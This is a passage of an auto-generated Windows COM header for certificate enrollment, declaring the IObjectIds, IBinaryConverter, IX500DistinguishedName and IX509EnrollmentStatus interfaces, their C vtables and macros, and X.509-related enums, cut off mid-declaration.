IObjectIdsVtbl;\n\n    interface IObjectIds\n    {\n        CONST_VTBL struct IObjectIdsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IObjectIds_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IObjectIds_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IObjectIds_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IObjectIds_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IObjectIds_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IObjectIds_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IObjectIds_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IObjectIds_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IObjectIds_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IObjectIds_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IObjectIds_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IObjectIds_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IObjectIds_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define IObjectIds_AddRange(This,pValue)\t\\\n    ( (This)->lpVtbl -> AddRange(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IObjectIds_INTERFACE_DEFINED__ */\n\n\n#ifndef __IBinaryConverter_INTERFACE_DEFINED__\n#define __IBinaryConverter_INTERFACE_DEFINED__\n\n/* interface IBinaryConverter */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IBinaryConverter;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab302-217d-11da-b2a4-000e7bbb2b09\")\n    IBinaryConverter : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE StringToString( \n            /* [in] */ __RPC__in BSTR strEncodedIn,\n            /* [in] */ EncodingType EncodingIn,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncoded) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE VariantByteArrayToString( \n            /* [in] */ __RPC__in VARIANT *pvarByteArray,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncoded) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE StringToVariantByteArray( \n            /* [in] */ __RPC__in BSTR strEncoded,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__out VARIANT *pvarByteArray) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IBinaryConverterVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IBinaryConverter * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IBinaryConverter * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IBinaryConverter * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IBinaryConverter * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IBinaryConverter * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IBinaryConverter * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IBinaryConverter * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *StringToString )( \n            __RPC__in IBinaryConverter * This,\n            /* [in] */ __RPC__in BSTR strEncodedIn,\n            /* [in] */ EncodingType EncodingIn,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncoded);\n        \n        HRESULT ( STDMETHODCALLTYPE *VariantByteArrayToString )( \n            __RPC__in IBinaryConverter * This,\n            /* [in] */ __RPC__in VARIANT *pvarByteArray,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncoded);\n        \n        HRESULT ( STDMETHODCALLTYPE *StringToVariantByteArray )( \n            __RPC__in IBinaryConverter * This,\n            /* [in] */ __RPC__in BSTR strEncoded,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__out VARIANT *pvarByteArray);\n        \n        END_INTERFACE\n    } IBinaryConverterVtbl;\n\n    interface IBinaryConverter\n    {\n        CONST_VTBL struct IBinaryConverterVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IBinaryConverter_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IBinaryConverter_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IBinaryConverter_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IBinaryConverter_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IBinaryConverter_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IBinaryConverter_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IBinaryConverter_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IBinaryConverter_StringToString(This,strEncodedIn,EncodingIn,Encoding,pstrEncoded)\t\\\n    ( (This)->lpVtbl -> StringToString(This,strEncodedIn,EncodingIn,Encoding,pstrEncoded) ) \n\n#define IBinaryConverter_VariantByteArrayToString(This,pvarByteArray,Encoding,pstrEncoded)\t\\\n    ( (This)->lpVtbl -> VariantByteArrayToString(This,pvarByteArray,Encoding,pstrEncoded) ) \n\n#define IBinaryConverter_StringToVariantByteArray(This,strEncoded,Encoding,pvarByteArray)\t\\\n    ( (This)->lpVtbl -> StringToVariantByteArray(This,strEncoded,Encoding,pvarByteArray) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IBinaryConverter_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0003 */\n/* [local] */ \n\ntypedef \nenum X500NameFlags\n    {\tXCN_CERT_NAME_STR_NONE\t= 0,\n\tXCN_CERT_SIMPLE_NAME_STR\t= 1,\n\tXCN_CERT_OID_NAME_STR\t= 2,\n\tXCN_CERT_X500_NAME_STR\t= 3,\n\tXCN_CERT_XML_NAME_STR\t= 4,\n\tXCN_CERT_NAME_STR_SEMICOLON_FLAG\t= 0x40000000,\n\tXCN_CERT_NAME_STR_NO_PLUS_FLAG\t= 0x20000000,\n\tXCN_CERT_NAME_STR_NO_QUOTING_FLAG\t= 0x10000000,\n\tXCN_CERT_NAME_STR_CRLF_FLAG\t= 0x8000000,\n\tXCN_CERT_NAME_STR_COMMA_FLAG\t= 0x4000000,\n\tXCN_CERT_NAME_STR_REVERSE_FLAG\t= 0x2000000,\n\tXCN_CERT_NAME_STR_FORWARD_FLAG\t= 0x1000000,\n\tXCN_CERT_NAME_STR_DISABLE_IE4_UTF8_FLAG\t= 0x10000,\n\tXCN_CERT_NAME_STR_ENABLE_T61_UNICODE_FLAG\t= 0x20000,\n\tXCN_CERT_NAME_STR_ENABLE_UTF8_UNICODE_FLAG\t= 0x40000,\n\tXCN_CERT_NAME_STR_FORCE_UTF8_DIR_STR_FLAG\t= 0x80000,\n\tXCN_CERT_NAME_STR_DISABLE_UTF8_DIR_STR_FLAG\t= 0x100000,\n\tXCN_CERT_NAME_STR_ENABLE_PUNYCODE_FLAG\t= 0x200000\n    } \tX500NameFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0003_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0003_v0_0_s_ifspec;\n\n#ifndef __IX500DistinguishedName_INTERFACE_DEFINED__\n#define __IX500DistinguishedName_INTERFACE_DEFINED__\n\n/* interface IX500DistinguishedName */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX500DistinguishedName;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab303-217d-11da-b2a4-000e7bbb2b09\")\n    IX500DistinguishedName : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Decode( \n            /* [in] */ __RPC__in BSTR strEncodedName,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64,\n            /* [defaultvalue][in] */ X500NameFlags NameFlags = XCN_CERT_NAME_STR_NONE) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Encode( \n            /* [in] */ __RPC__in BSTR strName,\n            /* [defaultvalue][in] */ X500NameFlags NameFlags = XCN_CERT_NAME_STR_NONE) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Name( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EncodedName( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX500DistinguishedNameVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX500DistinguishedName * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX500DistinguishedName * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX500DistinguishedName * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Decode )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [in] */ __RPC__in BSTR strEncodedName,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X500NameFlags NameFlags);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [in] */ __RPC__in BSTR strName,\n            /* [defaultvalue][in] */ X500NameFlags NameFlags);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Name )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncodedName )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX500DistinguishedNameVtbl;\n\n    interface IX500DistinguishedName\n    {\n        CONST_VTBL struct IX500DistinguishedNameVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX500DistinguishedName_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX500DistinguishedName_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX500DistinguishedName_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX500DistinguishedName_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX500DistinguishedName_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX500DistinguishedName_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX500DistinguishedName_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX500DistinguishedName_Decode(This,strEncodedName,Encoding,NameFlags)\t\\\n    ( (This)->lpVtbl -> Decode(This,strEncodedName,Encoding,NameFlags) ) \n\n#define IX500DistinguishedName_Encode(This,strName,NameFlags)\t\\\n    ( (This)->lpVtbl -> Encode(This,strName,NameFlags) ) \n\n#define IX500DistinguishedName_get_Name(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Name(This,pValue) ) \n\n#define IX500DistinguishedName_get_EncodedName(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncodedName(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX500DistinguishedName_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0004 */\n/* [local] */ \n\ntypedef \nenum X509CertificateEnrollmentContext\n    {\tContextUser\t= 0x1,\n\tContextMachine\t= 0x2,\n\tContextAdministratorForceMachine\t= 0x3\n    } \tX509CertificateEnrollmentContext;\n\ntypedef \nenum EnrollmentEnrollStatus\n    {\tEnrolled\t= 0x1,\n\tEnrollPended\t= 0x2,\n\tEnrollUIDeferredEnrollmentRequired\t= 0x4,\n\tEnrollError\t= 0x10,\n\tEnrollUnknown\t= 0x20,\n\tEnrollSkipped\t= 0x40,\n\tEnrollDenied\t= 0x100\n    } \tEnrollmentEnrollStatus;\n\ntypedef \nenum EnrollmentSelectionStatus\n    {\tSelectedNo\t= 0,\n\tSelectedYes\t= 1\n    } \tEnrollmentSelectionStatus;\n\ntypedef \nenum EnrollmentDisplayStatus\n    {\tDisplayNo\t= 0,\n\tDisplayYes\t= 1\n    } \tEnrollmentDisplayStatus;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0004_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0004_v0_0_s_ifspec;\n\n#ifndef __IX509EnrollmentStatus_INTERFACE_DEFINED__\n#define __IX509EnrollmentStatus_INTERFACE_DEFINED__\n\n/* interface IX509EnrollmentStatus */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509EnrollmentStatus;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab304-217d-11da-b2a4-000e7bbb2b09\")\n    IX509EnrollmentStatus : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE AppendText( \n            /* [in] */ __RPC__in BSTR strText) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Text( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Text( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Selected( \n            /* [retval][out] */ __RPC__out EnrollmentSelectionStatus *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Selected( \n            /* [in] */ EnrollmentSelectionStatus Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Display( \n            /* [retval][out] */ __RPC__out EnrollmentDisplayStatus *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Display( \n            /* [in] */ EnrollmentDisplayStatus Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Status( \n            /* [retval][out] */ __RPC__out EnrollmentEnrollStatus *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Status( \n            /* [in] */ EnrollmentEnrollStatus Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Error( \n            /* [retval][out] */ __RPC__out HRESULT *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Error( \n            /* [in] */ HRESULT Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ErrorText( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509EnrollmentStatusVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509EnrollmentStatus * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509EnrollmentStatus * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509EnrollmentStatus * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *AppendText )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ __RPC__in BSTR strText);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Text )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Text )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Selected )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [retval][out] */ __RPC__out EnrollmentSelectionStatus *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Selected )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ EnrollmentSelectionStatus Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Display )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [retval][out] */ __RPC__out EnrollmentDisplayStatus *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Display )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ EnrollmentDisplayStatus Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Status )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [retval][out] */ __RPC__out EnrollmentEnrollStatus *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Status )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ EnrollmentEnrollStatus Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Error )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [retval][out] */ __RPC__out HRESULT *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Error )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ HRESULT Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ErrorText )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509EnrollmentStatusVtbl;\n\n    interface IX509EnrollmentStatus\n    {\n        CONST_VTBL struct IX509EnrollmentStatusVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509EnrollmentStatus_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509EnrollmentStatus_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509EnrollmentStatus_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509EnrollmentStatus_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509EnrollmentStatus_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509EnrollmentStatus_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509EnrollmentStatus_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509EnrollmentStatus_AppendText(This,strText)\t\\\n    ( (This)->lpVtbl -> AppendText(This,strText) ) \n\n#define IX509EnrollmentStatus_get_Text(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Text(This,pValue) ) \n\n#define IX509EnrollmentStatus_put_Text(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Text(This,Value) ) \n\n#define IX509EnrollmentStatus_get_Selected(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Selected(This,pValue) ) \n\n#define IX509EnrollmentStatus_put_Selected(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Selected(This,Value) ) \n\n#define IX509EnrollmentStatus_get_Display(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Display(This,pValue) ) \n\n#define IX509EnrollmentStatus_put_Display(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Display(This,Value) ) \n\n#define IX509EnrollmentStatus_get_Status(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Status(This,pValue) ) \n\n#define IX509EnrollmentStatus_put_Status(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Status(This,Value) ) \n\n#define IX509EnrollmentStatus_get_Error(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Error(This,pValue) ) \n\n#define IX509EnrollmentStatus_put_Error(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Error(This,Value) ) \n\n#define IX509EnrollmentStatus_get_ErrorText(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ErrorText(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509EnrollmentStatus_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0005 */\n/* [local] */ \n\ntypedef \nenum X509ProviderType\n    {\tXCN_PROV_NONE\t= 0,\n\tXCN_PROV_RSA_FULL\t= 1,\n\tXCN_PROV_RSA_SIG\t= 2,\n\tXCN_PROV_DSS\t= 3,\n\tXCN_PROV_FORTEZZA\t= 4,\n\tXCN_PROV_MS_EXCHANGE\t= 5,\n\tXCN_PROV_SSL\t= 6,\n\tXCN_PROV_RSA_SCHANNEL\t= 12,\n\tXCN_PROV_DSS_DH\t= 13,\n\tXCN_PROV_EC_ECDSA_SIG\t= 14,\n\tXCN_PROV_EC_ECNRA_SIG\t= 15,\n\tXCN_PROV_EC_ECDSA_FULL\t= 16,\n\tXCN_PROV_EC_ECNRA_FULL\t= 17,\n\tXCN_PROV_DH_SCHANNEL\t= 18,\n\tXCN_PROV_SPYRUS_LYNKS\t= 20,\n\tXCN_PROV_RNG\t= 21,\n\tXCN_PROV_INTEL_SEC\t= 22,\n\tXCN_PROV_REPLACE_OWF\t= 23,\n\tXCN_PROV_RSA_AES\t= 24\n    } \tX509ProviderType;\n\n// XCN_BCRYPT_SIGNATURE_INTERFACE: RSA, DSA, ECDSA_P* signature\n// XCN_BCRYPT_ASYMMETRIC_ENCRYPTION_INTERFACE: RSA encryption\n// XCN_BCRYPT_CIPHER_INTERFACE: RC2, RC4, DES, 3DES, AES symmetric encryption\n// XCN_BCRYPT_HASH_INTERFACE: MD2, MD4, SHA1, SHA256, SHA384, SHA512 MAC, HMAC Hash\n// XCN_BCRYPT_SECRET_AGREEMENT_INTERFACE: DH, ECDH_P* key agreement\n// XCN_BCRYPT_RNG_INTERFACE: RNG\ntypedef \nenum AlgorithmType\n    {\tXCN_BCRYPT_UNKNOWN_INTERFACE\t= 0,\n\tXCN_BCRYPT_SIGNATURE_INTERFACE\t= 0x5,\n\tXCN_BCRYPT_ASYMMETRIC_ENCRYPTION_INTERFACE\t= 0x3,\n\tXCN_BCRYPT_CIPHER_INTERFACE\t= 0x1,\n\tXCN_BCRYPT_HASH_INTERFACE\t= 0x2,\n\tXCN_BCRYPT_SECRET_AGREEMENT_INTERFACE\t= 0x4,\n\tXCN_BCRYPT_RNG_INTERFACE\t= 0x6\n    } \tAlgorithmType;\n\ntypedef \nenum 